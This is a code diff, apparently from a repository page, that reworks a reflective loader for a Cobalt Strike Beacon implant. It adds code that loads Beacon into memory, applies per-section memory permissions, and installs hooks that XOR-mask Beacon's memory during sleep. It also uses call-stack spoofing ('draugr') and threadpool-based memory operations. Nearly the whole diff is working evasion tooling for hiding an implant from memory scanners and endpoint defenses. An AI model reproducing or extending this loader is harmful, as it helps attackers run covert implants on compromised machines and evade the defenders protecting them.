dprintf("[UDRL] _VirtualQuery\n");
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
|
||||
dprintf(" -> dwLength : %d\n", dwLength);
|
||||
@@ -772,7 +766,7 @@ SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffe
|
||||
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _DuplicateHandle\n");
|
||||
dprintf("[UDRL] _DuplicateHandle\n");
|
||||
dprintf(" -> hSourceProcessHandle : 0x%lp\n", hSourceProcessHandle);
|
||||
dprintf(" -> hSourceHandle : 0x%lp\n", hSourceHandle);
|
||||
dprintf(" -> hTargetProcessHandle : 0x%lp\n", hTargetProcessHandle);
|
||||
@@ -801,7 +795,7 @@ BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle,
|
||||
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _ReadProcessMemory\n");
|
||||
dprintf("[UDRL] _ReadProcessMemory\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
|
||||
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
|
||||
@@ -826,7 +820,7 @@ BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lp
|
||||
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _WriteProcessMemory\n");
|
||||
dprintf("[UDRL] _WriteProcessMemory\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
|
||||
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
|
||||
@@ -851,7 +845,7 @@ BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID l
|
||||
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _ExitThread\n");
|
||||
dprintf("[UDRL] _ExitThread\n");
|
||||
dprintf(" -> dwExitCode : %d\n", dwExitCode);
|
||||
#endif
|
||||
|
||||
@@ -868,7 +862,7 @@ DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
|
||||
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _CreateProcessA\n");
|
||||
dprintf("[UDRL] _CreateProcessA\n");
|
||||
dprintf(" -> lpApplicationName : %s\n", lpApplicationName);
|
||||
dprintf(" -> lpCommandLine : %s\n", lpCommandLine);
|
||||
dprintf(" -> lpProcessAttributes : 0x%lp\n", lpProcessAttributes);
|
||||
@@ -903,7 +897,7 @@ BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSEC
|
||||
VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _Sleep\n");
|
||||
dprintf("[UDRL] _Sleep\n");
|
||||
dprintf(" -> dwMilliseconds : %d\n", dwMilliseconds);
|
||||
#endif
|
||||
|
||||
@@ -924,9 +918,9 @@ VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwMilliseconds);
|
||||
|
||||
applyxor(g_dllBase, g_dllSize);
|
||||
xormemory(TRUE);
|
||||
draugr(&call);
|
||||
applyxor(g_dllBase, g_dllSize);
|
||||
xormemory(FALSE);
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
|
||||
@@ -1048,13 +1042,67 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
return result;
|
||||
}
|
||||
|
||||
void go(IMPORTFUNCS * funcs, char * dllBase, DWORD dllsz)
|
||||
void applyxor(char * data, DWORD len)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("XOR'ing 0x%lp (length %d)\n", data, len);
|
||||
#endif
|
||||
|
||||
for (DWORD x = 0; x < len; x++) {
|
||||
data[x] ^= xorkey[x % 128];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isWriteable(DWORD protection)
|
||||
{
|
||||
if (protection == PAGE_EXECUTE_READWRITE || protection == PAGE_EXECUTE_WRITECOPY || protection == PAGE_READWRITE || protection == PAGE_WRITECOPY) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void xorsection(MEMORY_SECTION * section, BOOL mask)
|
||||
{
|
||||
if (mask == TRUE && isWriteable(section->currentProtect) == FALSE) {
|
||||
DWORD oldProtect = 0;
|
||||
if (_VirtualProtect(section->baseAddress, section->size, PAGE_READWRITE, &oldProtect)) {
|
||||
section->currentProtect = PAGE_READWRITE;
|
||||
section->previousProtect = oldProtect;
|
||||
}
|
||||
}
|
||||
|
||||
if (isWriteable(section->currentProtect)) {
|
||||
applyxor(section->baseAddress, section->size);
|
||||
}
|
||||
|
||||
if (mask == FALSE && section->currentProtect != section->previousProtect) {
|
||||
DWORD oldProtect;
|
||||
if (_VirtualProtect(section->baseAddress, section->size, section->previousProtect, &oldProtect)) {
|
||||
section->currentProtect = section->previousProtect;
|
||||
section->previousProtect = oldProtect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void xorregion(MEMORY_REGION * region, BOOL mask)
|
||||
{
|
||||
for (int i = 0; i < 5; i++) {
|
||||
xorsection(®ion->sections[i], mask);
|
||||
}
|
||||
}
|
||||
|
||||
void xormemory(BOOL mask) {
|
||||
xorregion(&g_layout.beacon, mask);
|
||||
}
|
||||
|
||||
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
{
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
|
||||
g_dllBase = dllBase;
|
||||
g_dllSize = dllsz;
|
||||
if (layout != NULL) {
|
||||
g_layout = *layout;
|
||||
}
|
||||
|
||||
init_frame_info();
|
||||
}
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
|
||||
void applyxor(char * data, DWORD len);
|
||||
void xorsection(MEMORY_SECTION * section, BOOL mask);
|
||||
void xorregion(MEMORY_REGION * region, BOOL mask);
|
||||
void xormemory(BOOL mask);
|
||||
+138
-54
@@ -29,6 +29,7 @@ __attribute__((noinline, no_reorder)) void go() {
|
||||
#include "hash.h"
|
||||
#include "resolve_eat.h"
|
||||
#include "proxy.h"
|
||||
#include "memory.h"
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
@@ -126,11 +127,21 @@ typedef struct {
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
char __DLLDATA__[0] __attribute__((section("my_data")));
|
||||
char __PICDATA__[0] __attribute__((section("my_proxy")));
|
||||
char __HOKDATA__[0] __attribute__((section("my_hooks")));
|
||||
typedef struct {
|
||||
#if DEBUG
|
||||
char data[8192];
|
||||
char code[16384];
|
||||
#else
|
||||
char data[4096];
|
||||
char code[12288];
|
||||
#endif
|
||||
} PICO;
|
||||
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, char * dllbase, DWORD dllsz);
|
||||
char __POSTEX__[0] __attribute__((section("beacon")));
|
||||
char __DRAUGR__[0] __attribute__((section("draugr")));
|
||||
char __HOOKS__[0] __attribute__((section("hooks")));
|
||||
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout);
|
||||
|
||||
char * loader_start() {
|
||||
#ifdef WIN_X86
|
||||
@@ -140,13 +151,6 @@ char * loader_start() {
|
||||
#endif
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
char draugrpic[4096];
|
||||
char hookdata[4096];
|
||||
char hookcode[12288];
|
||||
char dllbase[0];
|
||||
} LAYOUT;
|
||||
|
||||
void __attribute__((naked)) workCallback()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
@@ -223,79 +227,159 @@ void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect
|
||||
#include "debug.h"
|
||||
#endif
|
||||
|
||||
void reflectiveLoader(WIN32FUNCS * funcs, LAYOUT * layout, char * dll, DLLDATA * dllData)
|
||||
void fixSectionMemoryPermissions(DLLDATA * dll, char * src, char * dst, WIN32FUNCS * funcs, MEMORY_REGION * region)
|
||||
{
|
||||
char * hooks;
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
DWORD sectionSize = 0;
|
||||
DWORD newProtect = 0;
|
||||
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (int x = 0; x < numberOfSections; x++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtect = PAGE_WRITECOPY;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
|
||||
newProtect = PAGE_READONLY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
newProtect = PAGE_EXECUTE;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
|
||||
newProtect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
protect_memory_threadpool(sectionDst, sectionSize, newProtect, funcs);
|
||||
|
||||
/* track memory */
|
||||
region->sections[x].baseAddress = sectionDst;
|
||||
region->sections[x].size = sectionSize;
|
||||
region->sections[x].currentProtect = newProtect;
|
||||
region->sections[x].previousProtect = newProtect;
|
||||
|
||||
/* advance to our next section */
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
{
|
||||
char * hookSrc;
|
||||
PICO * hookDst;
|
||||
char * beaconSrc;
|
||||
DLLDATA beaconData;
|
||||
char * beaconDst;
|
||||
|
||||
/* Time to load the hook PICO */
|
||||
hooks = GETRESOURCE(__HOKDATA__);
|
||||
hookSrc = GETRESOURCE(__HOOKS__);
|
||||
|
||||
#ifdef DEBUG
|
||||
PIC_STRING(picosz, "[UDRL] HookPicoDataSize: %d\nHookPicoCodeSize: %d\n");
|
||||
dprintf((IMPORTFUNCS *)funcs, picosz, PicoDataSize(hooks), PicoCodeSize(hooks));
|
||||
#endif
|
||||
/* Allocate memory for it */
|
||||
hookDst = (PICO *)allocate_memory_threadpool(sizeof(PICO), PAGE_READWRITE, funcs);
|
||||
|
||||
/* Load it into the layout */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hooks, layout->hookcode, layout->hookdata);
|
||||
/* Load it into memory */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
|
||||
|
||||
/* Make the code section RX */
|
||||
protect_memory_threadpool(layout->hookcode, PicoCodeSize(hooks), PAGE_EXECUTE_READ, funcs);
|
||||
protect_memory_threadpool(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ, funcs);
|
||||
|
||||
/* Call its entry point */
|
||||
((PICOHOOK_ENTRY)PicoEntryPoint(hooks, layout->hookcode))((IMPORTFUNCS *)funcs, layout->dllbase, SizeOfDLL(dllData));
|
||||
/* Fill layout info */
|
||||
layout->hooks.baseAddress = (char *)hookDst;
|
||||
layout->hooks.size = sizeof(PICO);
|
||||
layout->hooks.sections[0].baseAddress = hookDst->data;
|
||||
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
|
||||
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[1].baseAddress = hookDst->code;
|
||||
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
|
||||
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
|
||||
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
/* Get PICO entry point */
|
||||
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
|
||||
|
||||
/* Call it to install the hooks */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
|
||||
/* Now load the DLL */
|
||||
LoadDLL(dllData, dll, layout->dllbase);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, dllData, layout->dllbase);
|
||||
beaconSrc = GETRESOURCE(__POSTEX__);
|
||||
|
||||
/* Get its entry point */
|
||||
DLLMAIN_FUNC entryPoint = EntryPoint(dllData, layout->dllbase);
|
||||
/* Parse the headers */
|
||||
ParseDLL(beaconSrc, &beaconData);
|
||||
|
||||
/* yolo this RWX for now */
|
||||
protect_memory_threadpool(layout->dllbase, SizeOfDLL(dllData), PAGE_EXECUTE_READWRITE, funcs);
|
||||
/* Allocate memory for Beacon */
|
||||
beaconDst = allocate_memory_threadpool(SizeOfDLL(&beaconData), PAGE_READWRITE, funcs);
|
||||
|
||||
/* Call it twice for Beacon */
|
||||
entryPoint((HINSTANCE)layout->dllbase, DLL_PROCESS_ATTACH, NULL);
|
||||
entryPoint((HINSTANCE)loader_start(), DLL_BEACON_START, NULL);
|
||||
/* Load it into memory */
|
||||
LoadDLL(&beaconData, beaconSrc, beaconDst);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, &beaconData, beaconDst);
|
||||
|
||||
layout->beacon.baseAddress = beaconDst;
|
||||
layout->beacon.size = SizeOfDLL(&beaconData);
|
||||
|
||||
/* Fix section memory permissions */
|
||||
fixSectionMemoryPermissions(&beaconData, beaconSrc, beaconDst, funcs, &layout->beacon);
|
||||
|
||||
/* Call hook entry point again to provide the updated memory layout */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
|
||||
/* Get Beacon's entry point */
|
||||
DLLMAIN_FUNC beaconEntry = EntryPoint(&beaconData, beaconDst);
|
||||
|
||||
/* Call it twice */
|
||||
beaconEntry((HINSTANCE)beaconDst, DLL_PROCESS_ATTACH, NULL);
|
||||
beaconEntry((HINSTANCE)loader_start(), DLL_BEACON_START, NULL);
|
||||
}
|
||||
|
||||
void setupProxy()
|
||||
{
|
||||
WIN32FUNCS funcs;
|
||||
char * dll;
|
||||
DLLDATA dllData;
|
||||
LAYOUT * layout;
|
||||
RESOURCE * pic;
|
||||
WIN32FUNCS funcs;
|
||||
RESOURCE * picSrc;
|
||||
char * picDst;
|
||||
MEMORY_LAYOUT layout;
|
||||
|
||||
/* Resolve functions */
|
||||
findNeededFunctions(&funcs);
|
||||
|
||||
/* Grab the DLL because we need its size */
|
||||
dll = GETRESOURCE(__DLLDATA__);
|
||||
/* Grab the Draugr PIC */
|
||||
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
|
||||
|
||||
/* Parse the headers */
|
||||
ParseDLL(dll, &dllData);
|
||||
/* Allocate memory for it */
|
||||
picDst = allocate_memory_threadpool(picSrc->length, PAGE_READWRITE, &funcs);
|
||||
|
||||
/* Allocate memory for everything we'll load */
|
||||
layout = (LAYOUT *)allocate_memory_threadpool(sizeof(LAYOUT) + SizeOfDLL(&dllData), PAGE_READWRITE, &funcs);
|
||||
|
||||
#ifdef DEBUG
|
||||
PIC_STRING(mem, "[UDRL] draugrpic @ 0x%lp\nhookdata @ 0x%lp\nhookcode @ 0x%lp\ndllbase @ 0x%lp\n");
|
||||
dprintf((IMPORTFUNCS *)&funcs, mem, layout->draugrpic, layout->hookdata, layout->hookcode, layout->dllbase);
|
||||
#if DEBUG
|
||||
PIC_STRING(dst, "PIC @ 0x%lp\n");
|
||||
dprintf((IMPORTFUNCS *)&funcs, dst, picDst);
|
||||
#endif
|
||||
|
||||
/* Grab the Draugr PIC */
|
||||
pic = (RESOURCE *)GETRESOURCE(__PICDATA__);
|
||||
|
||||
/* Copy it into memory */
|
||||
memcpy(layout->draugrpic, pic->value, pic->length);
|
||||
memcpy(picDst, picSrc->value, picSrc->length);
|
||||
|
||||
/* Flip memory to RX */
|
||||
protect_memory_threadpool(layout->draugrpic, pic->length, PAGE_EXECUTE_READ, &funcs);
|
||||
protect_memory_threadpool(picDst, picSrc->length, PAGE_EXECUTE_READ, &funcs);
|
||||
|
||||
/* Set funcs field */
|
||||
funcs.Draugr = (DRAUGR)(layout->draugrpic);
|
||||
funcs.Draugr = (DRAUGR)(picDst);
|
||||
|
||||
/* Begin filling memory layout info */
|
||||
layout.pic.baseAddress = picDst;
|
||||
layout.pic.size = picSrc->length;
|
||||
|
||||
/* Carry on loading the rest */
|
||||
reflectiveLoader(&funcs, layout, dll, &dllData);
|
||||
reflectiveLoader(&funcs, &layout);
|
||||
}
|
||||
@@ -203,9 +203,6 @@ DWORD SizeOfDLL(DLLDATA * data) {
|
||||
}
|
||||
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
|
||||
/* copy our headers over to the destination address, if we wish */
|
||||
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
|
||||
|
||||
/* load our section data */
|
||||
LoadSections(dll, src, dst);
|
||||
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
void * baseAddress;
|
||||
SIZE_T size;
|
||||
DWORD currentProtect;
|
||||
DWORD previousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
void * baseAddress;
|
||||
SIZE_T size;
|
||||
MEMORY_SECTION sections[5];
|
||||
} MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION pic;
|
||||
MEMORY_REGION hooks;
|
||||
MEMORY_REGION beacon;
|
||||
} MEMORY_LAYOUT;
|
||||
Reference in New Issue
Block a user